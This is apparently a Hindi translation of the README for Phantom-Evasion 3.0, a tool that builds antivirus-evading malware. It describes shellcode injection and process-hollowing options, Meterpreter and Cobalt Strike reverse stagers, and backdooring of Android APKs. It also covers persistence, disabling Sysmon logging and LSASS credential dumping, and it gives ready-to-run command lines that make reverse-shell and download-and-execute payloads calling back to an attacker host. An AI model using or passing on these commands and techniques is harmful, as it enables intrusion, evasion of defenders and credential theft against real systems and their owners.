फैंटम एवेज़न 3.0

Phantom-Evasion एक एंटीवायरस एवेज़न टूल है जो पायथन में लिखा गया है (पायथन और पायथन3 दोनों के साथ संगत) जो सबसे सामान्य x86 msfvenom पेलोड के साथ भी (लगभग) पूरी तरह से अज्ञात एक्ज़ीक्यूटेबल उत्पन्न करने में सक्षम है।

निम्नलिखित ऑपरेटिंग सिस्टम आधिकारिक तौर पर स्वचालित सेटअप का समर्थन करते हैं:

1. Kali Linux
2. Parrot Security

निम्नलिखित ऑपरेटिंग सिस्टम संभवतः स्वचालित सेटअप का समर्थन करते हैं लेकिन मेटास्प्लोइट-फ्रेमवर्क की मैन्युअल स्थापना की आवश्यकता होती है:

1. OSX (Catalina पर परीक्षित)
2. Ubuntu
3. Linux Mint
4. Elementary
5. Deepin
6. अन्य डेबियन वितरण
7. Centos
8. Fedora
9. Blackarch

निम्नलिखित ऑपरेटिंग सिस्टम मैन्युअल सेटअप की आवश्यकता रखते हैं:

1. Windows 10

बस git clone करें या डाउनलोड करें और Phantom-Evasion फ़ोल्डर को अनज़िप करें

सेटअप:

स्वचालित सेटअप, एक टर्मिनल खोलें और निष्पादित करें:

python3 phantom-evasion.py --setup

या:

chmod +x ./phantom-evasion.py

./phantom-evasion.py --setup

या इंटरैक्टिव मोड में फैंटम-एवेज़न शुरू करें और विकल्प 7 चुनें

निर्भरताएँ (केवल मैन्युअल सेटअप के लिए)

1. metasploit-framework
2. mingw-w64 (windows पर cygwin)
3. gcc-multilib
4. apktool
5. apksigner
6. strip
7. osslsigncode

कमांडलाइन/इंटरैक्टिव:

1. इंटरैक्टिव मोड में फैंटम-एवेज़न लॉन्च करें:

python3 phantom-evasion.py

या:

./phantom-evasion.py

2. अन्यथा कमांडलाइन मोड विकल्प देखने के लिए:

python3 phantom-evasion.py --help

या:

./phantom-evasion.py --help

विंडोज मॉड्यूल

-प्रत्येक विंडोज पेलोड C मॉड्यूल को EXE या DLL/ReflectiveDLL के रूप में संकलित किया जा सकता है (x86 और x64 दोनों का समर्थन करता है)।

-रैंडमाइज्ड जंककोड इंजेक्शन (तीव्रता, आवृत्ति और पुनः इंजेक्शन की संभावना सेट की जा सकती है) और विंडोज एंटीवायरस एवेज़न तकनीक (आवृत्ति सेट की जा सकती है)।

-शेलकोड इंजेक्शन और डाउनलोड एक्सेक मॉड्यूल दोनों में मल्टीबाइट Xor/Vigenere शेलकोड/फ़ाइल एन्क्रिप्शन समर्थित है।

-Ntdll unhookapi और Peb प्रक्रिया मास्करेडिंग तकनीक समर्थित है।

-निष्पादन मोड की विस्तृत श्रृंखला समर्थित है (स्थानीय और दूरस्थ दोनों)।

-पेलोड मेमोरी आवंटन मोड की विस्तृत श्रृंखला (Virtual_RWX, Virtual_RW/RX, Virtual_RW/RWX, Heap_RWX)।

-विंडोज एपीआई का गतिशील लोडिंग सेट किया जा सकता है।

-सर्टिफिकेट स्पूफर और साइनर समर्थित है।

-एक्ज़ीक्यूटेबल स्ट्रिप करें (https://en.wikipedia.org/wiki/Strip_(Unix))

विंडोज C शेलकोड इंजेक्शन

Msfvenom विंडोज पेलोड और कस्टम शेलकोड समर्थित हैं। शेलकोड को संसाधन के रूप में संग्रहीत किया जा सकता है और रनटाइम पर FindResource API के साथ पुनर्प्राप्त किया जा सकता है।

शेलकोड एन्क्रिप्शन समर्थित:

1. कोई नहीं

2. Multibyte-Xor

3. Double-key Multibyte-Xor

4. Vigenere

5. Double-key Vigenere

1. स्थानीय निष्पादन विधि निम्नलिखित में से एक हो सकती है:

   Thread

   APC

   स्थानीय मेमोरी आवंटन मोड निम्नलिखित में से एक हो सकता है:

   Virtual_RWX

   Virtual_RW/RX

   Virtual_RW/RWX

   Heap_RWX

2. दूरस्थ निष्पादन विधि निम्नलिखित में से एक हो सकती है:

   ThreadExecutionHijack (संक्षिप्त TEH)

   Processinject (संक्षिप्त PI)

   APCSpray (संक्षिप्त APCS)

   EarlyBird (संक्षिप्त EB)

   EntryPointHijack (संक्षिप्त EPH)

   दूरस्थ मेमोरी आवंटन मोड निम्नलिखित में से एक हो सकता है:

   Virtual_RWX

   Virtual_RW/RX

   Virtual_RW/RWX

विंडोज प्योर C मीटरप्रेटर स्टेजर (C)

प्योर C मीटरप्रेटर स्टेजर (TCP/HTTP/HTTPS) मॉड्यूल msfconsole और कोबाल्ट स्ट्राइक बीकन के साथ संगत हैं। (reverse_tcp/reverse_http/reverse_https)

कमांडलाइन मोड का उपयोग करते हुए:

reverse_tcp c stager है WRT

reverse_http c stager है WRH

reverse_https c stager है WRS

1. स्थानीय निष्पादन विधि निम्नलिखित में से एक हो सकती है:

   Thread

   APC

   स्थानीय मेमोरी आवंटन मोड निम्नलिखित में से एक हो सकता है:

   Virtual_RWX

   Virtual_RW/RX

   Virtual_RW/RWX

   Heap_RWX

विंडोज डाउनलोड-एक्सेक NoDiskWrite

दिए गए URL से exe/dll को मेमोरी में डाउनलोड करें और दूरस्थ प्रक्रिया में निष्पादित/लोड करें (डिस्क पर लिखे बिना)।

एन्क्रिप्टेड EXE/DLL डाउनलोड समर्थित:

1. कोई नहीं
                                 
2. Multibyte-Xor
                                 
3. Double-key Multibyte-Xor
                               
4. Vigenere
                                
5. Double-key Vigenere

एन्क्रिप्टेड DLL/EXE को मूल फ़ाइल नाम + "crypt" + ".dll" या ".exe" के रूप में सहेजा जाएगा, यह वह है जिसे डाउनलोड किया जाना है

1. विंडोज डाउनलोडएक्सेकएक्से NoDiskWrite (cmdline मोड में WDE):

   दूरस्थ निष्पादन विधि निम्नलिखित में से एक हो सकती है:

   ProcessHollowing (संक्षिप्त PH)

2. विंडोज डाउनलोडएक्सेकडीएलएल NoDiskWrite (cmdline मोड में WDD):

   दूरस्थ लोडिंग विधि निम्नलिखित में से एक हो सकती है:

   ReflectiveDll (संक्षिप्त RD)

   RDAPC (ReflectiveDllAPC)

   ManualMap (संक्षिप्त MM) ---> केवल x86

लिनक्स पेलोड

लिनक्स शेलकोड इंजेक्शन मॉड्यूल (C)

Msfvenom लिनक्स पेलोड और कस्टम शेलकोड समर्थित हैं।

एंड्रॉइड पेलोड

1. एंड्रॉइड Msfvenom ऑब्सफस्केट बैकडोर:

   msfvenom पेलोड को ऑब्सफस्केट करें और apktool के साथ पुनर्निर्माण करें (smali/baksmali)। ऑब्सफस्केटेड पेलोड का उपयोग बेनाइन apk फ़ाइलों को बैकडोर करने के लिए किया जा सकता है।

स्थायित्व मॉड्यूल

1. विंडोज स्थायित्व RegCreateKeyExW रजिस्ट्री कुंजी जोड़ें (C) संकलित एक्ज़ीक्यूटेबल को लक्ष्य मशीन पर अपलोड करने और तर्क के रूप में स्टार्टअप में जोड़ने के लिए फ़ाइल का पूरा पथ निर्दिष्ट करके निष्पादित करने की आवश्यकता है।

2. विंडोज स्थायित्व REG रजिस्ट्री कुंजी जोड़ें (CMD) यह मॉड्यूल स्थायित्व cmdline पेलोड उत्पन्न करता है (REG.exe के माध्यम से रजिस्ट्री कुंजी जोड़ें)।

3. विंडोज स्थायित्व प्रक्रिया को जीवित रखें (C) संकलित एक्ज़ीक्यूटेबल को लक्ष्य मशीन पर अपलोड करने और निष्पादित करने की आवश्यकता है। CreateToolSnapshoot, ProcessFirst और ProcessNext का उपयोग करके जाँचें कि निर्दिष्ट प्रक्रिया हर X सेकंड में जीवित है या नहीं (यदि नहीं, तो WinExec API का उपयोग करके एक नई प्रक्रिया बनाएँ)।

4. विंडोज स्थायित्व Schtasks (CMD)

   यह मॉड्यूल स्थायित्व cmdline पेलोड उत्पन्न करता है (Schtasks.exe का उपयोग करके)।

5. विंडोज स्थायित्व सेवा बनाएँ (CMD)

   यह मॉड्यूल स्थायित्व cmdline पेलोड उत्पन्न करता है (sc.exe का उपयोग करके)।

विशेषाधिकार वृद्धि मॉड्यूल

1. विंडोज DuplicateTokenEx (C)

   किसी अन्य प्रक्रिया से क्लोन किए गए टोकन के साथ एक नई प्रक्रिया बनाएँ। संकलित एक्ज़ीक्यूटेबल को लक्ष्य मशीन पर अपलोड करने और निष्पादित करने की आवश्यकता है।

पोस्ट-एक्सप्लॉइटेशन मॉड्यूल

1. विंडोज Sysmon अनलोड करें (C) sysmon ड्राइवर को अनलोड करें जिससे सिस्टम sysmon इवेंट लॉग रिकॉर्ड करना बंद कर देता है। संकलित एक्ज़ीक्यूटेबल को लक्ष्य मशीन पर अपलोड करने और निष्पादित करने की आवश्यकता है।

2. विंडोज Sysmon अनलोड करें (CMD) sysmon ड्राइवर को अनलोड करें जिससे सिस्टम sysmon इवेंट लॉग रिकॉर्ड करना बंद कर देता है।

3. विंडोज Attrib फ़ाइल छुपाएँ (CMD) फ़ाइल को छुपाने के लिए attrib का उपयोग करें

4. विंडोज SetFileAttribute छिपा हुआ (C) SetFileAttribute API का उपयोग करके फ़ाइल छुपाएँ संकलित एक्ज़ीक्यूटेबल को लक्ष्य मशीन पर अपलोड करने और निष्पादित करने की आवश्यकता है।

5. विंडोज DumpLsass (C) MiniWriteDumpWrite API का उपयोग करके Lsass डंप करें। संकलित एक्ज़ीक्यूटेबल को लक्ष्य मशीन पर अपलोड करने और निष्पादित करने की आवश्यकता है।

6. विंडोज DumpLsass (CMD)

   cmdline से Lsass डंप करें।

फैंटम-एवेज़न कमांडलाइन मोड उदाहरण:

1. विंडोज शेलकोड इंजेक्शन, आउटपुट साइन किया गया exe जिसमें स्पूफ किया गया https सर्टिफिकेट, स्थानीय निष्पादन विधि: Thread, mem: Virtual_RWX, एन्क्रिप्शन: vigenere

python3 phantom-evasion.py -m WSI -msfp windows/meterpreter/reverse_tcp -H 192.168.1.123 -P 4444 -i Thread -e 4 -mem Virtual_RWX -j 1 -J 15 -jr 0 -E 5 -c www.windows.com:443 -f exe -o filename.exe

2. विंडोज x64 शेलकोड इंजेक्शन, आउटपुट रिफ्लेक्टिव dll के रूप में, दूरस्थ निष्पादन विधि: ProcessInject (PI), mem: Virtual_RW/RX, लक्ष्य प्रक्रिया: SkypeApp.exe, एन्क्रिप्शन: डबल की xor

python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp SkypeApp.exe -i PI -e 3 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -R -o filename.dll

3. विंडोज x64 शेलकोड इंजेक्शन, आउटपुट स्ट्रिप किया गया dll, शेलकोड संसाधन के रूप में संग्रहीत, दूरस्थ निष्पादन विधि: EarlyBird (EB), mem: Virtual_RW/RX, लक्ष्य प्रक्रिया: svchost.exe, एन्क्रिप्शन: xor

python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp svchost.exe -i EB -e 2 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -res -S -o filename.dll

4. विंडोज x64 रिवर्स https स्टेजर, आउटपुट स्ट्रिप किया गया dll, स्थानीय निष्पादन विधि: Thread, mem: Heap_RWX

python3 phantom-evasion.py -m WRS -a x64 -H 192.168.1.123 -P 4444 -i Thread -mem Heap_RWX -j 1 -J 15 -jr 0 -E 5 -f dll -S -o filename.dll

5. विंडोज x86 डाउनलोडएक्सेक dll, आउटपुट स्ट्रिप किया गया exe, दूरस्थ निष्पादन विधि: ManualMap (MM), लक्ष्य प्रक्रिया: OneDrive.exe, डाउनलोड आकार 1000000 बाइट्स

python3 phantom-evasion.py -m WDD -U http://192.168.1.123/payload.dll -i MM -tp OneDrive.exe -ds 1000000  -j 10 -J 10 -jr 0 -E 10 -f exe -S -o filename.exe

6. विंडोज x64 डाउनलोडएक्सेक exe, आउटपुट स्ट्रिप किया गया रिफ्लेक्टिव dll, दूरस्थ निष्पादन विधि: ProcessHollowing (PH), लक्ष्य प्रक्रिया: svchost.exe, डाउनलोड आकार 1000000 बाइट्स

python3 phantom-evasion.py -m WDE -U http://192.168.1.123/payloadcrypt.exe -e 4 -ef payload.exe -i PH -tp svchost.exe -ds 1000000  -j 1 -J 5 -jr 0 -E 3 -f dll -R -S -o filename.dll

लाइसेंस

GPLv3.0

श्रेय और उपयोगी संसाधन

https://github.com/stephenfewer/ReflectiveDLLInjection

https://github.com/rsmudge/metasploit-loader

https://ired.team

https://github.com/theevilbit/injection

http://www.rohitab.com/discuss/topic/40761-manual-dll-injection/

https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

https://wikileaks.org/ciav7p1/cms/files/BypassAVDynamics.pdf